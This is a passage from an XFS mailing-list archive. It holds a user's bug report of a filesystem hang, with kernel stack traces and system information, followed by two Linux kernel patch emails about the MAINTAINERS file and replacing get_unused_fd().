xfs_file_release+0x10/0x20 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581855] [] __fput+0xb3/0x200 Jun 28 19:34:11 IMCNode000 kernel: [29127.581863] [] filp_close+0x5c/0x90 Jun 28 19:34:11 IMCNode000 kernel: [29127.581870] [] sys_close+0xa7/0x100 Jun 28 19:34:11 IMCNode000 kernel: [29127.581879] [] system_call_fastpath+0x16/0x1b Jun 28 19:34:11 IMCNode000 kernel: [29127.581897] [<00007f90392c2ea0>] 0x7f90392c2e9f Jun 28 19:34:11 IMCNode000 kernel: [29127.581903] Tigris_IMC.exe D ffff887ef8994710 0 6352 6269 0x00000000 Jun 28 19:34:11 IMCNode000 kernel: [29127.581909] ffff8819dcbe7848 0000000000000086 ffffffffa0480c7e ffff8819dcbe6010 Jun 28 19:34:11 IMCNode000 kernel: [29127.581916] 0000000000011180 0000000000011180 ffff8819dcbe7fd8 ffff8819dcbe7fd8 Jun 28 19:34:11 IMCNode000 kernel: [29127.581923] 0000000000011180 ffff8819dcbe4680 ffff883e85249e80 ffff883e86a123c0 Jun 28 19:34:11 IMCNode000 kernel: [29127.581930] Call Trace: Jun 28 19:34:11 IMCNode000 kernel: [29127.581940] [] schedule_timeout+0x205/0x2a0 Jun 28 19:34:11 IMCNode000 kernel: [29127.581952] [] __down+0x68/0xb0 Jun 28 19:34:11 IMCNode000 kernel: [29127.581959] [] down+0x47/0x50 Jun 28 19:34:11 IMCNode000 kernel: [29127.581979] [] xfs_buf_lock+0x59/0xc0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582050] [] _xfs_buf_find+0x11b/0x210 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582121] [] xfs_buf_get+0x36/0x1d0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582191] [] xfs_buf_read+0x24/0x110 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582264] [] xfs_trans_read_buf+0x28e/0x3e0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582330] [] xfs_btree_read_buf_block+0x5e/0xd0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582371] [] xfs_btree_lookup_get_block+0x82/0xf0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582413] [] xfs_btree_lookup+0xd2/0x470 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582454] [] xfs_bmap_del_extent+0x147/0xac0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582494] [] xfs_bunmapi+0x5d7/0xbc0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582541] [] xfs_itruncate_finish+0x168/0x330 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582597] [] xfs_free_eofblocks+0x1ce/0x2b0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582665] [] xfs_release+0x13c/0x230 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582733] [] xfs_file_release+0x10/0x20 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.582794] [] __fput+0xb3/0x200 Jun 28 19:34:11 IMCNode000 kernel: [29127.582801] [] filp_close+0x5c/0x90 Jun 28 19:34:11 IMCNode000 kernel: [29127.582807] [] sys_close+0xa7/0x100 Jun 28 19:34:11 IMCNode000 kernel: [29127.582814] [] system_call_fastpath+0x16/0x1b Jun 28 19:34:11 IMCNode000 kernel: [29127.582823] [<00007f90392c2ea0>] 0x7f90392c2e9f xfsprogs-3.1.6-0.7.1 xfs_info /raid meta-data=/dev/sdb1 isize=256 agcount=4, agsize=243896192 blks = sectsz=512 attr=2 data = bsize=4096 blocks=975584768, imaxpct=5 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal bsize=4096 blocks=476359, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 fdisk -l WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted. Disk /dev/sdb: 3996.0 GB, 3995997306880 bytes 255 heads, 63 sectors/track, 485819 cylinders, total 7804682240 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x80560481 Device Boot Start End Blocks Id System /dev/sdb4 1 1 0+ ee GPT /proc/partitions major minor #blocks name 8 16 3902341120 sdb 8 17 3902339072 sdb1 8 0 124022784 sda 8 1 1051648 sda1 8 2 1051648 sda2 8 3 121918464 sda3 /proc/meminfo MemTotal: 526536468 kB MemFree: 520264928 kB Buffers: 16644 kB Cached: 706520 kB SwapCached: 0 kB Active: 580108 kB Inactive: 240800 kB Active(anon): 98036 kB Inactive(anon): 68 kB Active(file): 482072 kB Inactive(file): 240732 kB Unevictable: 0 kB Mlocked: 0 kB SwapTotal: 1051644 kB SwapFree: 1051644 kB Dirty: 0 kB Writeback: 0 kB AnonPages: 97868 kB Mapped: 13212 kB Shmem: 236 kB Slab: 125960 kB SReclaimable: 17020 kB SUnreclaim: 108940 kB KernelStack: 3264 kB PageTables: 3120 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 522322744 kB Committed_AS: 432276 kB VmallocTotal: 34359738367 kB VmallocUsed: 1100980 kB VmallocChunk: 34090199776 kB HardwareCorrupted: 0 kB AnonHugePages: 16384 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB DirectMap4k: 129732 kB DirectMap2M: 6133760 kB DirectMap1G: 530579456 kB Many thanks in advance, Norman --047d7b603a12bbfcaa04e0897825 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    I initial message was bounced due to large message size; a= nd since then re-posting seems not to work. =A0Using a different email addr= ess hoping would help. If you get this in duplicate, my apologies.

    =
    I had this issue with Kernel 3.0.13 and reported in this forum ~4= months ago. I'd been working with Suse support to resolve but getting = no where. =A0I will be grateful should someone can help and give me some po= inters to solve or work around this hang. =A0Suse has asked me to reproduce= it with 3.0.80-0.5(their latest release) so all the attached traces were p= roduced against this kernel.

    My application has ~10+ threads running non-stop with h= igh CPU usage (close to 100% and each is locked to a specific CPU with 32 C= PUs in the server). =A0The processing runs in a 5 minute cycle. After the s= econd minute 5 of these threads start writing to disk for 3 minutes. Each t= hread writes a file ~16G in size. =A0The threads run with very high priorit= y (-2, much higher than flush, I also tried threads with same priority as p= dflush, fails sooner)

    Disk is a raid-5, I have also tried 5 X raid-0, one rai= d per disk writing thread same result.

    Below are t= he traces from magic sysrq "w"

    If I use = O_DIRECT write, my application will run for 5-6 days and hang. =A0If I use = buffered write, it will hang after 3-4 hours.=A0

    And when I attached GDB to my applications, the flush-8= :16 will immediately free from D state, and my application too.
    <= br>
    Without knowing the internal of flush(write back) and XFS, th= is is my guess looking at the trace below:
    Could it be that flush(xfs_fs_write_inode) =A0and my application (xfs_= file_release at fclose) are holding the same lock? =A0Or could it be that s= ome resources in the system (e.g. page cache?) is exhausted and waiting for= hang in waiting for reclaim.
    =A0
    Stack trace of a few thread of interests. =A0The entire = dump if interested, I can send in a separate mail:

    Jun 28 19:34:11 IMCNode000 kernel: [29127.580426] SysRq : Show Blocked Sta= te
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580434] =A0 task =A0 =A0 =A0= =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0PC stack =A0 pid father
    Jun 2= 8 19:34:11 IMCNode000 kernel: [29127.580629] flush-8:16 =A0 =A0 =A0D 000000= 0000000400 =A0 =A0 0 =A05502 =A0 =A0 =A02 0x00000000
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580636] =A0ffff883e5bbb7b90 = 0000000000000046 ffff8819c91d25c0 ffff883e5bbb6010
    Jun 28 19:34:1= 1 IMCNode000 kernel: [29127.580643] =A00000000000011180 0000000000011180 ff= ff883e5bbb7fd8 ffff883e5bbb7fd8
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580651] =A00000000000011180 = ffff883e5b8aa0c0 ffff8819c91d25c0 ffff8819dc99a3c0
    Jun 28 19:34:1= 1 IMCNode000 kernel: [29127.580658] Call Trace:
    Jun 28 19:34:11 I= MCNode000 kernel: [29127.580711] =A0[<ffffffffa04a2cd5>] xfs_ioend_wa= it+0x85/0xb0 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580800] =A0[<ffffffffa04a= cb28>] xfs_fs_write_inode+0xb8/0x190 [xfs]
    Jun 28 19:34:11 IMC= Node000 kernel: [29127.580880] =A0[<ffffffff81177793>] writeback_sing= le_inode+0x2f3/0x360
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580889] =A0[<ffffffff8117= 7ee4>] writeback_sb_inodes+0xc4/0x1a0
    Jun 28 19:34:11 IMCNode0= 00 kernel: [29127.580897] =A0[<ffffffff81178743>] writeback_inodes_wb= +0xd3/0x160
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580904] =A0[<ffffffff8117= 8b8b>] wb_writeback+0x3bb/0x400
    Jun 28 19:34:11 IMCNode000 ker= nel: [29127.580911] =A0[<ffffffff81178e0b>] wb_do_writeback+0x23b/0x2= 50
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580918] =A0[<ffffffff8117= 8f04>] bdi_writeback_thread+0xe4/0x240
    Jun 28 19:34:11 IMCNode= 000 kernel: [29127.580926] =A0[<ffffffff8107c646>] kthread+0x96/0xa0<= /div>
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580936] =A0[<ffffffff8145= 0e44>] kernel_thread_helper+0x4/0x10
    Jun 28 19:34:11 IMCNode00= 0 kernel: [29127.580954] Tigris_IMC.exe =A0D 0000000100669478 =A0 =A0 0 =A0= 6347 =A0 6269 0x00000000
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580960] =A0ffff8819dc9b5848 = 0000000000000086 0000000000000000 ffff8819dc9b4010
    Jun 28 19:34:1= 1 IMCNode000 kernel: [29127.580968] =A00000000000011180 0000000000011180 ff= ff8819dc9b5fd8 ffff8819dc9b5fd8
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580975] =A00000000000011180 = ffff8819dc9b2540 0000000085227080 ffff883e86942400
    Jun 28 19:34:1= 1 IMCNode000 kernel: [29127.580982] Call Trace:
    Jun 28 19:34:11 I= MCNode000 kernel: [29127.580991] =A0[<ffffffff81446555>] schedule_tim= eout+0x205/0x2a0
    Jun 28 19:34:11 IMCNode000 kernel: [29127.580998] =A0[<ffffffff8144= 72f8>] __down+0x68/0xb0
    Jun 28 19:34:11 IMCNode000 kernel: [29= 127.581008] =A0[<ffffffff81082097>] down+0x47/0x50
    Jun 28 1= 9:34:11 IMCNode000 kernel: [29127.581030] =A0[<ffffffffa04a3ce9>] xfs= _buf_lock+0x59/0xc0 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581104] =A0[<ffffffffa04a= 522b>] _xfs_buf_find+0x11b/0x210 [xfs]
    Jun 28 19:34:11 IMCNode= 000 kernel: [29127.581176] =A0[<ffffffffa04a5356>] xfs_buf_get+0x36/0= x1d0 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581248] =A0[<ffffffffa04a= 5514>] xfs_buf_read+0x24/0x110 [xfs]
    Jun 28 19:34:11 IMCNode00= 0 kernel: [29127.581322] =A0[<ffffffffa049a8ce>] xfs_trans_read_buf+0= x28e/0x3e0 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581393] =A0[<ffffffffa046= 7f5e>] xfs_btree_read_buf_block+0x5e/0xd0 [xfs]
    Jun 28 19:34:1= 1 IMCNode000 kernel: [29127.581438] =A0[<ffffffffa0468682>] xfs_btree= _lookup_get_block+0x82/0xf0 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581480] =A0[<ffffffffa046= 8d32>] xfs_btree_lookup+0xd2/0x470 [xfs]
    Jun 28 19:34:11 IMCNo= de000 kernel: [29127.581522] =A0[<ffffffffa045f967>] xfs_bmap_del_ext= ent+0x147/0xac0 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581560] =A0[<ffffffffa046= 3857>] xfs_bunmapi+0x5d7/0xbc0 [xfs]
    Jun 28 19:34:11 IMCNode00= 0 kernel: [29127.581601] =A0[<ffffffffa0482cc8>] xfs_itruncate_finish= +0x168/0x330 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581657] =A0[<ffffffffa049= e5ce>] xfs_free_eofblocks+0x1ce/0x2b0 [xfs]
    Jun 28 19:34:11 IM= CNode000 kernel: [29127.581725] =A0[<ffffffffa049f18c>] xfs_release+0= x13c/0x230 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581793] =A0[<ffffffffa04a= 6f00>] xfs_file_release+0x10/0x20 [xfs]
    Jun 28 19:34:11 IMCNod= e000 kernel: [29127.581855] =A0[<ffffffff81153e83>] __fput+0xb3/0x200=
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581863] =A0[<ffffffff8114= fefc>] filp_close+0x5c/0x90
    Jun 28 19:34:11 IMCNode000 kernel:= [29127.581870] =A0[<ffffffff8114ffd7>] sys_close+0xa7/0x100
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581879] =A0[<ffffffff8144fd12&= gt;] system_call_fastpath+0x16/0x1b
    Jun 28 19:34:11 IMCNode000 ke= rnel: [29127.581897] =A0[<00007f90392c2ea0>] 0x7f90392c2e9f
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581903] Tigris_IMC.exe =A0D ffff8= 87ef8994710 =A0 =A0 0 =A06352 =A0 6269 0x00000000
    Jun 28 19:34:11= IMCNode000 kernel: [29127.581909] =A0ffff8819dcbe7848 0000000000000086 fff= fffffa0480c7e ffff8819dcbe6010
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581916] =A00000000000011180 = 0000000000011180 ffff8819dcbe7fd8 ffff8819dcbe7fd8
    Jun 28 19:34:1= 1 IMCNode000 kernel: [29127.581923] =A00000000000011180 ffff8819dcbe4680 ff= ff883e85249e80 ffff883e86a123c0
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581930] Call Trace:
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581940] =A0[<ffffffff8144655= 5>] schedule_timeout+0x205/0x2a0
    Jun 28 19:34:11 IMCNode000 ke= rnel: [29127.581952] =A0[<ffffffff814472f8>] __down+0x68/0xb0
    Jun 28 19:34:11 IMCNode000 kernel: [29127.581959] =A0[<ffffffff8108= 2097>] down+0x47/0x50
    Jun 28 19:34:11 IMCNode000 kernel: [2912= 7.581979] =A0[<ffffffffa04a3ce9>] xfs_buf_lock+0x59/0xc0 [xfs]
    <= div> Jun 28 19:34:11 IMCNode000 kernel: [29127.582050] =A0[<ffffffffa04a522b&= gt;] _xfs_buf_find+0x11b/0x210 [xfs]
    Jun 28 19:34:11 IMCNode000 k= ernel: [29127.582121] =A0[<ffffffffa04a5356>] xfs_buf_get+0x36/0x1d0 = [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.582191] =A0[<ffffffffa04a= 5514>] xfs_buf_read+0x24/0x110 [xfs]
    Jun 28 19:34:11 IMCNode00= 0 kernel: [29127.582264] =A0[<ffffffffa049a8ce>] xfs_trans_read_buf+0= x28e/0x3e0 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.582330] =A0[<ffffffffa046= 7f5e>] xfs_btree_read_buf_block+0x5e/0xd0 [xfs]
    Jun 28 19:34:1= 1 IMCNode000 kernel: [29127.582371] =A0[<ffffffffa0468682>] xfs_btree= _lookup_get_block+0x82/0xf0 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.582413] =A0[<ffffffffa046= 8d32>] xfs_btree_lookup+0xd2/0x470 [xfs]
    Jun 28 19:34:11 IMCNo= de000 kernel: [29127.582454] =A0[<ffffffffa045f967>] xfs_bmap_del_ext= ent+0x147/0xac0 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.582494] =A0[<ffffffffa046= 3857>] xfs_bunmapi+0x5d7/0xbc0 [xfs]
    Jun 28 19:34:11 IMCNode00= 0 kernel: [29127.582541] =A0[<ffffffffa0482cc8>] xfs_itruncate_finish= +0x168/0x330 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.582597] =A0[<ffffffffa049= e5ce>] xfs_free_eofblocks+0x1ce/0x2b0 [xfs]
    Jun 28 19:34:11 IM= CNode000 kernel: [29127.582665] =A0[<ffffffffa049f18c>] xfs_release+0= x13c/0x230 [xfs]
    Jun 28 19:34:11 IMCNode000 kernel: [29127.582733] =A0[<ffffffffa04a= 6f00>] xfs_file_release+0x10/0x20 [xfs]
    Jun 28 19:34:11 IMCNod= e000 kernel: [29127.582794] =A0[<ffffffff81153e83>] __fput+0xb3/0x200=
    Jun 28 19:34:11 IMCNode000 kernel: [29127.582801] =A0[<ffffffff8114= fefc>] filp_close+0x5c/0x90
    Jun 28 19:34:11 IMCNode000 kernel:= [29127.582807] =A0[<ffffffff8114ffd7>] sys_close+0xa7/0x100
    Jun 28 19:34:11 IMCNode000 kernel: [29127.582814] =A0[<ffffffff8144fd12&= gt;] system_call_fastpath+0x16/0x1b
    Jun 28 19:34:11 IMCNode000 ke= rnel: [29127.582823] =A0[<00007f90392c2ea0>] 0x7f90392c2e9f


    xfsprogs-3.1.6-0.7.1

    xfs_info /raid
    meta-data=3D/dev/sdb1 =A0 =A0 =A0 =A0 =A0 =A0 =A0= isize=3D256 =A0 =A0agcount=3D4, agsize=3D243896192 blks
    =A0 =A0 = =A0 =A0 =A0=3D =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 sectsz=3D512 =A0= attr=3D2
    data =A0 =A0 =3D =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bsize=3D4= 096 =A0 blocks=3D975584768, imaxpct=3D5
    =A0 =A0 =A0 =A0 =A0=3D = =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 sunit=3D0 =A0 =A0 =A0swidth=3D0= blks
    naming =A0 =3Dversion 2 =A0 =A0 =A0 =A0 =A0 =A0 =A0bsize=3D= 4096 =A0 ascii-ci=3D0
    log =A0 =A0 =A0=3Dinternal =A0 =A0 =A0 =A0 =A0 =A0 =A0 bsize=3D4096 = =A0 blocks=3D476359, version=3D2
    =A0 =A0 =A0 =A0 =A0=3D =A0 =A0 = =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 sectsz=3D512 =A0 sunit=3D0 blks, lazy-c= ount=3D1
    realtime =3Dnone =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ext= sz=3D4096 =A0 blocks=3D0, rtextents=3D0


    fdisk -l

    WARNIN= G: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdis= k doesn't support GPT. Use GNU Parted.
    Disk /dev/sdb: 3996.0 = GB, 3995997306880 bytes
    255 heads, 63 sectors/track, 485819 cylinders, total 7804682240 sector= s Units =3D sectors of 1 * 512 =3D 512 bytes Sector size (logical/physical)= : 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes D= isk identifier: 0x80560481

    =A0 =A0Device Boot =A0 =A0 =A0Start =A0 =A0 =A0 =A0 End= =A0 =A0 =A0Blocks =A0 Id =A0System
    /dev/sdb4 =A0 =A0 =A0 =A0 =A0= =A0 =A0 1 =A0 =A0 =A0 =A0 =A0 1 =A0 =A0 =A0 =A0 =A0 0+ =A0ee =A0GPT
    <= div>
    =A0/proc/partitions
    major minor =A0#blocks =A0= name

    =A0 =A08 =A0 =A0 =A0 16 3902341120 sdb
    =A0 = =A08 =A0 =A0 =A0 17 3902339072 sdb1
    =A0 =A08 =A0 =A0 =A0 =A00 =A0= 124022784 sda
    =A0 =A08 =A0 =A0 =A0 =A01 =A0 =A01051648 sda1
    =
    =A0 =A08 =A0 =A0 =A0 =A02 =A0 =A01051648 sda2
    =A0 =A08 =A0 = =A0 =A0 =A03 =A0121918464 sda3

    /proc/meminfo
    MemTotal: =A0 =A0 =A0 526536468= kB
    MemFree: =A0 =A0 =A0 =A0520264928 kB
    Buffers: =A0 = =A0 =A0 =A0 =A0 16644 kB
    Cached: =A0 =A0 =A0 =A0 =A0 706520 kB
    SwapCached: =A0 =A0 =A0 =A0 =A0 =A00 kB
    Active: =A0 =A0 =A0 =A0 =A0 580108 kB
    Inactive: =A0 =A0 =A0 = =A0 240800 kB
    Active(anon): =A0 =A0 =A098036 kB
    Inactiv= e(anon): =A0 =A0 =A0 68 kB
    Active(file): =A0 =A0 482072 kB
    <= div>Inactive(file): =A0 240732 kB
    Unevictable: =A0 =A0 =A0 =A0 =A0 0 kB
    Mlocked: =A0 =A0 =A0 = =A0 =A0 =A0 =A0 0 kB
    SwapTotal: =A0 =A0 =A0 1051644 kB
    = SwapFree: =A0 =A0 =A0 =A01051644 kB
    Dirty: =A0 =A0 =A0 =A0 =A0 = =A0 =A0 =A0 0 kB
    Writeback: =A0 =A0 =A0 =A0 =A0 =A0 0 kB
    AnonPages: =A0 =A0 =A0 =A0 97868 kB
    Mapped: =A0 =A0 =A0 =A0 = =A0 =A013212 kB
    Shmem: =A0 =A0 =A0 =A0 =A0 =A0 =A0 236 kB
    Slab: =A0 =A0 =A0 =A0 =A0 =A0 125960 kB
    SReclaimable: =A0 =A0 = =A017020 kB
    SUnreclaim: =A0 =A0 =A0 108940 kB
    KernelStack: =A0 =A0 =A0 =A03264 kB
    PageTables: =A0 =A0 =A0 = =A0 3120 kB
    NFS_Unstable: =A0 =A0 =A0 =A0 =A00 kB
    Bounc= e: =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A00 kB
    WritebackTmp: =A0 =A0 =A0 = =A0 =A00 kB
    CommitLimit: =A0 =A0522322744 kB
    Committed_AS: =A0 =A0 432276 kB
    VmallocTotal: =A0 3435973836= 7 kB
    VmallocUsed: =A0 =A0 1100980 kB
    VmallocChunk: =A0 = 34090199776 kB
    HardwareCorrupted: =A0 =A0 0 kB
    AnonHuge= Pages: =A0 =A0 16384 kB
    HugePages_Total: =A0 =A0 =A0 0
    HugePages_Free: =A0 =A0 =A0 = =A00
    HugePages_Rsvd: =A0 =A0 =A0 =A00
    HugePages_Surp: = =A0 =A0 =A0 =A00
    Hugepagesize: =A0 =A0 =A0 2048 kB
    Dire= ctMap4k: =A0 =A0 =A0129732 kB
    DirectMap2M: =A0 =A0 6133760 kB
    DirectMap1G: =A0 =A0530579456 kB<= /div>


    Many thanks in advance,
    <= br>
    Norman=A0

    --047d7b603a12bbfcaa04e0897825-- From ydroneaud@quest-ce.net Tue Jul 2 11:23:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ACB667F5E for ; Tue, 2 Jul 2013 11:23:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9BFD2304087 for ; Tue, 2 Jul 2013 09:23:45 -0700 (PDT) X-ASG-Debug-ID: 1372782221-04cbb0468faa00a0001-NocioJ Received: from smtp3-g21.free.fr (smtp3-g21.free.fr [212.27.42.3]) by cuda.sgi.com with ESMTP id WhixNGgiUq0mCCR3 for ; Tue, 02 Jul 2013 09:23:43 -0700 (PDT) X-Barracuda-Envelope-From: ydroneaud@quest-ce.net X-Barracuda-Apparent-Source-IP: 212.27.42.3 Received: from localhost.localdomain (unknown [37.161.30.250]) by smtp3-g21.free.fr (Postfix) with ESMTP id 0E854A6287; Tue, 2 Jul 2013 18:23:37 +0200 (CEST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.14.7/8.14.5) with ESMTP id r62F146x004246; Tue, 2 Jul 2013 17:01:04 +0200 Received: (from ydroneaud@localhost) by localhost.localdomain (8.14.7/8.14.7/Submit) id r62F10PM004153; Tue, 2 Jul 2013 17:01:00 +0200 From: Yann Droneaud To: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Cc: Yann Droneaud Subject: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list Date: Tue, 2 Jul 2013 17:00:47 +0200 X-ASG-Orig-Subj: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list Message-Id: <1372777248-4114-1-git-send-email-ydroneaud@opteya.com> X-Mailer: git-send-email 1.8.3.1 X-Barracuda-Connect: smtp3-g21.free.fr[212.27.42.3] X-Barracuda-Start-Time: 1372782222 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC1_TG070, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135607 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.50 BSF_SC1_TG070 Custom Rule TG070 This patch changes type of xfs@oss.sgi.com The output of ./scripts/get_maintainer.pl is modified to report xfs@oss.sgi.com as a list: Ben Myers (supporter:XFS FILESYSTEM) Alex Elder (supporter:XFS FILESYSTEM) -xfs@oss.sgi.com (supporter:XFS FILESYSTEM) +xfs@oss.sgi.com (open list:XFS FILESYSTEM) linux-kernel@vger.kernel.org (open list) Signed-off-by: Yann Droneaud --- MAINTAINERS | 1 - 1 file changed, 1 deletion(-) diff --git a/MAINTAINERS b/MAINTAINERS index ad7e322..7b6ab51 100644 --- a/MAINTAINERS +++ b/MAINTAINERS @@ -9139,7 +9139,6 @@ XFS FILESYSTEM P: Silicon Graphics Inc M: Ben Myers M: Alex Elder -M: xfs@oss.sgi.com L: xfs@oss.sgi.com W: http://oss.sgi.com/projects/xfs T: git git://oss.sgi.com/xfs/xfs.git -- 1.8.3.1 From ydroneaud@quest-ce.net Tue Jul 2 11:40:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D84637F60 for ; Tue, 2 Jul 2013 11:40:14 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 724AEAC012 for ; Tue, 2 Jul 2013 09:40:11 -0700 (PDT) X-ASG-Debug-ID: 1372783206-04bdf0233fab7840001-NocioJ Received: from smtp3-g21.free.fr (smtp3-g21.free.fr [212.27.42.3]) by cuda.sgi.com with ESMTP id hRWnT3LN6fAqaPkN for ; Tue, 02 Jul 2013 09:40:08 -0700 (PDT) X-Barracuda-Envelope-From: ydroneaud@quest-ce.net X-Barracuda-Apparent-Source-IP: 212.27.42.3 Received: from localhost.localdomain (unknown [37.161.30.250]) by smtp3-g21.free.fr (Postfix) with ESMTP id B70EBA62C1; Tue, 2 Jul 2013 18:39:56 +0200 (CEST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.14.7/8.14.5) with ESMTP id r62Gdqfg005202; Tue, 2 Jul 2013 18:39:52 +0200 Received: (from ydroneaud@localhost) by localhost.localdomain (8.14.7/8.14.7/Submit) id r62GdlOU005201; Tue, 2 Jul 2013 18:39:47 +0200 From: Yann Droneaud To: linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, cbe-oss-dev@lists.ozlabs.org, linux-rdma@vger.kernel.org, devel@driverdev.osuosl.org, kvm@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-sctp@vger.kernel.org, netdev@vger.kernel.org, Eric Paris , Peter Zijlstra , Paul Mackerras , Ingo Molnar , Arnaldo Carvalho de Melo Cc: Yann Droneaud Subject: [PATCH 00/13] Getting rid of get_unused_fd() Date: Tue, 2 Jul 2013 18:39:24 +0200 X-ASG-Orig-Subj: [PATCH 00/13] Getting rid of get_unused_fd() Message-Id: X-Mailer: git-send-email 1.8.3.1 X-Barracuda-Connect: smtp3-g21.free.fr[212.27.42.3] X-Barracuda-Start-Time: 1372783207 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135607 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, Macro get_unused_fd() is a shortcut to call function get_unused_fd_flags(), to allocate a file descriptor. The macro use 0 as flags, so the file descriptor is created without O_CLOEXEC flag. This can be seen as an unsafe default eg. in most case O_CLOEXEC must be used to not leak file descriptor across exec(). Newer kernel code should use anon_inode_getfd() or get_unused_fd_flags() with flags provided by userspace. If flags cannot be given by userspace, 